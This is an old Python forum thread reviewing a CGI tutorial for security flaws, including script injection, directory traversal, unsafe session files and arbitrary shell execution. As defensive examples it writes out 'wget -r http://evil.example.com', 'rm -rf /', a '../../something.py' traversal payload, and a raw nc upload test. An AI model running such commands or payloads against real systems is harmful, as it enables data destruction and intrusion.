CGI Tutorial

  • Thread starter Clodoaldo Pinto Neto
  • Start date
C

Clodoaldo Pinto Neto

I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.

Regards, Clodoaldo Pinto Neto
 
T

Tim Chase

I'm just building a Python CGI Tutorial and would appreciate
any feedback from the many experts in this list.

First item of feedback...post something on which to give
feedback, such as a link to the work in progress. :)

-tkc
 
T

Tim Chase

I'm just building a Python CGI Tutorial and would appreciate any


Thanks! :)

My first note would be regarding

http://webpython.codepoint.net/shell_commands

The code is very dangerous...allowing any ol' schmoe to run
arbitrary code on your server. At the barest of minimums, I'd
plaster the code with warnings that this is a Very Dangerous
Thing(tm) to do. Preferably, one would want to have fixed sets
of commands, something like

install_django = 'curl...'
if command=='install_django': sub.Popen(install_django, ...)

so that only trusted code is run, not arbitrary things like

'wget -r http://evil.example.com'

or

'rm -rf /'

which would just be bad.

Similarly, regarding

http://webpython.codepoint.net/debugging

you might want to caution that this will/can display potentially
sensitive information (passwords, internal file-structure, etc),
and thus should only be used while debugging, and turned off in
any sort of production code.

The section on single vs. multiple field names was pretty good at
giving a nice overview that there are *two* scenarios one might
encounter.

Just a little feedback, whether from an expert or otherwise. :)

-tkc
 
C

Clodoaldo Pinto Neto

2006/10/4 said:
Thanks! :)

My first note would be regarding

http://webpython.codepoint.net/shell_commands

The code is very dangerous...allowing any ol' schmoe to run
arbitrary code on your server. At the barest of minimums, I'd
plaster the code with warnings that this is a Very Dangerous
Thing(tm) to do.

I though the danger was so obvious that i didn't bother. Now i have
issued a warning.
Similarly, regarding

http://webpython.codepoint.net/debugging

you might want to caution that this will/can display potentially
sensitive information (passwords, internal file-structure, etc),
and thus should only be used while debugging, and turned off in
any sort of production code.

Yes, another warning was issued.

Thanks for your help. Clodoaldo Pinto Neto
 
A

accurrent

Several times you improperly spell "syntax" "sintax". Other than that
it appears to be an excellent tutorial.
 
A

and-google

Clodoaldo said:
print '<p>The submited name was "' + name + '"</p>'

Bzzt! Script injection security hole. See cgi.escape and use it (or a
similar function) for *all* text -> HTML output.
open('files/' + fileitem.filename, 'w')

BZZZZZZT. filesystem overwriting security hole, possibly escalatable to
code execution. clue: fileitem.filename= '../../something.py'
sid = cookie['sid'].value
session = shelve.open('/tmp/.session/sess_' + sid

Bad filename use allows choice of non-session files, opening with
shelve allows all sorts of pickle weirdnesses. Just use strings.
p = sub.Popen(str_command,

o_O

Sure this stuff may not matter for Hello World on a test server, but if
you're writing a tutorial you should ensure newbies know the Right Way
to do it from the start. The proliferation of security-oblivious PHP
tutorials is directly responsible for the disasterous amount of
script-injection- and SQL-injection-vulnerable webapps out there -
let's not have the same for Python.
 
S

Steve Holden

Clodoaldo Pinto Neto wrote:




Bzzt! Script injection security hole. See cgi.escape and use it (or a
similar function) for *all* text -> HTML output.




BZZZZZZT. filesystem overwriting security hole, possibly escalatable to
code execution. clue: fileitem.filename= '../../something.py'
Technically this subclass of canonicalization error is known as a
directory traversal bug.
sid = cookie['sid'].value
session = shelve.open('/tmp/.session/sess_' + sid


Bad filename use allows choice of non-session files, opening with
shelve allows all sorts of pickle weirdnesses. Just use strings.

p = sub.Popen(str_command,


o_O

Sure this stuff may not matter for Hello World on a test server, but if
you're writing a tutorial you should ensure newbies know the Right Way
to do it from the start. The proliferation of security-oblivious PHP
tutorials is directly responsible for the disasterous amount of
script-injection- and SQL-injection-vulnerable webapps out there -
let's not have the same for Python.

I was teaching this week's class about SQL injection vulnerabilities
earlier today. One student mentioned estimates that *11%* of all
Internet web sites are vulnerable to such exploits. Another, a
policeman, pointed out that he'd had news just today of an injection
exploit on a major credit card company's web site. The number of credit
card numbers harvested by the attack has not yet been announced.

Credit card numbers should be encrypted in the database, of course, but
they rarely are (even by companies whose reputations imply they ought to
know better).

Yup, in the wacky world of the 21st century web if a thing's worth doing
it's worth screwing up completely ...

regards
Steve
 
J

Jim

Clodoaldo said:
I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.
I'm not an expert, but I have written a lot of these and I have a
couple of $0.02's.

* All code you put in your writing needs to be correct. That is, on
the web you can't say something and later in the text say "but this has
a problem and needs to be tightened up" because people will paste in
code that they got from you and won't read the rest. They will.

Instead, you need the scripts to be right, from the start. Then you
say "Lets look at lines 1-5. The reason for those is ..".

* All cgi scripts need logging. Debugging cgi can be hard and you need
to have a place to write statements of the form log.debug("in
getValues(): value of x is %s" % (repr(x),)).

* You need a DEBUG variable:
from defaults import DEBUG
:
if DEBUG:
..

* I've been impressed by Guido's writing that a main() routine makes
sense. One reason is that you can more easily make unit tests.
Because testing cgi is so hard, this is especially useful in this
context. (I admit that I'm only a recent convert to this but it really
makes sense.)

So, continuing with my opinions as though they were facts, the skeleton
of all cgi's is something like this, IMHO:

import sys, os, os.path, urllib, cgi

from cgi import escape
from xml.sax.saxutils import quoteattr

from defaults import DEBUG, LOGGING
THIS_SCRIPT=os.path.basename(sys.argv[0])
LOGFILE_NAME=os.path.splitext(THIS_SCRIPT)[0]+'.log'

if DEBUG:
import cgitb
cgitb.enable()

# all kinds of functions here

def main(fs,argv=None,log=None,debug=False):
if argv is None:
argv=sys.argv
# logic here

if __name__=='__main__':
log=None
if LOGGING:
log=openLog(LOGFILE_NAME)
fs=cgi.FieldStorage(keep_blank_values=1)
try:
main(fs,argv=sys.argv,log=log,debug=DEBUG)
except StandardError, err:
mesg="General programming error"
bail(mesg,devel=mesg+":
error=%(err)s",log=log,debug=DEBUG,err=err)
except SystemExit, err: # bailed out in a subroutine
pass
sys.exit(0)

(where bail() is a routine that puts up an error page -- on that page,
I have one of two messages, the second of which, using the "devel"
string, only appears when DEBUG is True).

In my humble experience, all cgi programs should follow something like
that scheme.

You asked for an opinion! :)
Jim
 
H

hanumizzle

* You need a DEBUG variable:
from defaults import DEBUG
:
if DEBUG:
..

WADR, there is a more formal way to do this:

http://docs.python.org/ref/assert.html

Use -O to remove the assert statements, essentially: -O sets the
builtin var __debug__ to False.

(BTW, thank you for making a Linear Algebra textbook that an
innumerate dolt like myself can almost understand.)

-- Theerasak
 
C

Clodoaldo Pinto Neto

Bzzt! Script injection security hole. See cgi.escape and use it (or a
similar function) for *all* text -> HTML output.


BZZZZZZT. filesystem overwriting security hole, possibly escalatable to
code execution. clue: fileitem.filename= '../../something.py'

Do you think os.path.basename() is good enough?
========================
#!/usr/bin/env python
import cgi, os.path

form = cgi.FieldStorage()
fileitem = form['file']
fn = fileitem.filename
fnb = os.path.basename(fn)

print """\
Content-Type: text/plain\n
filename = "%s"
basename = "%s"
""" % (fn, fnb)
========================

[cpn@dkt ~]$ nc teste.s0 80
POST /cgi-bin/dir_traversal.py HTTP/1.1
Host: teste.s0
Content-Type: multipart/form-data;
boundary=---------------------------170451527316340742161395972977
Content-Length: 226

-----------------------------170451527316340742161395972977
Content-Disposition: form-data; name="file"; filename="../test.txt"
Content-Type: text/plain

file text

-----------------------------170451527316340742161395972977--
HTTP/1.1 200 OK
Date: Fri, 06 Oct 2006 20:48:58 GMT
Server: Apache/2.2.2 (Fedora)
Content-Length: 48
Content-Type: text/plain; charset=UTF-8

filename = "../test.txt"
basename = "test.txt"


Regards, Clodoaldo
 
L

Lawrence D'Oliveiro

Credit card numbers should be encrypted in the database, of course, but
they rarely are (even by companies whose reputations imply they ought to
know better).

How would encryption help? They'd still have to be decrypted to be used.
 
L

Lawrence D'Oliveiro

Clodoaldo said:
I though the danger was so obvious that i didn't bother. Now i have
issued a warning.

I wonder whether warnings are enough. People are still going to copy and
paste the dodgy code from your tutorial into their site. The only way
around this is to offer good, robust code to begin with.
 
S

Steve Holden

Lawrence said:
In message <[email protected]>, Steve
Holden wrote:




How would encryption help? They'd still have to be decrypted to be used.

Indeed they would, but with proper key management the probability that
they can be stolen from a database in their plaintext form is rather
lower. Just last week a police employee in my class told us of an
exploit where a major credit card copmany's web site had been hacked
using a SQL injection vulnerability. This is usually done with the
intent of gaining access to credit card data.

regards
Steve
 
L

Lawrence D'Oliveiro

Indeed they would, but with proper key management the probability that
they can be stolen from a database in their plaintext form is rather
lower. Just last week a police employee in my class told us of an
exploit where a major credit card copmany's web site had been hacked
using a SQL injection vulnerability. This is usually done with the
intent of gaining access to credit card data.

If they can do that, it doesn't seem much of a step to compromise the code
that decrypts the credit card data, as well. Keeping it encrypted, when the
key needs to be kept at the same (in)security level, is just
security-through-obscurity.
 
P

Paul Rubin

Lawrence D'Oliveiro said:
If they can do that, it doesn't seem much of a step to compromise the code
that decrypts the credit card data, as well. Keeping it encrypted, when the
key needs to be kept at the same (in)security level, is just
security-through-obscurity.

Keys in such sites are supposed to be kept more secure than the stuff
in the db.
 
S

Steve Holden

Lawrence said:
In message <[email protected]>, Steve
Holden wrote:




If they can do that, it doesn't seem much of a step to compromise the code
that decrypts the credit card data, as well. Keeping it encrypted, when the
key needs to be kept at the same (in)security level, is just
security-through-obscurity.

It depends on what level of compromise they obtain through SQL
injection. It does represent a significant additional burden on
attackers before sensitive data becomes known. Clearly if someone mounts
a successful privilege escalation attack then potentially everything on
the system is compromised.

Note further, by the way, that credit card numbers need not necessarily
be decrypted to be used: if you are the credit card processor (rather
than a merchant requiring payment) then you can instead encrypt the card
number provided by the user and use that as your database key.

regards
Steve
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Members online

Forum statistics

Threads
473,774
Messages
2,569,598
Members
45,161
Latest member
GertrudeMa
Top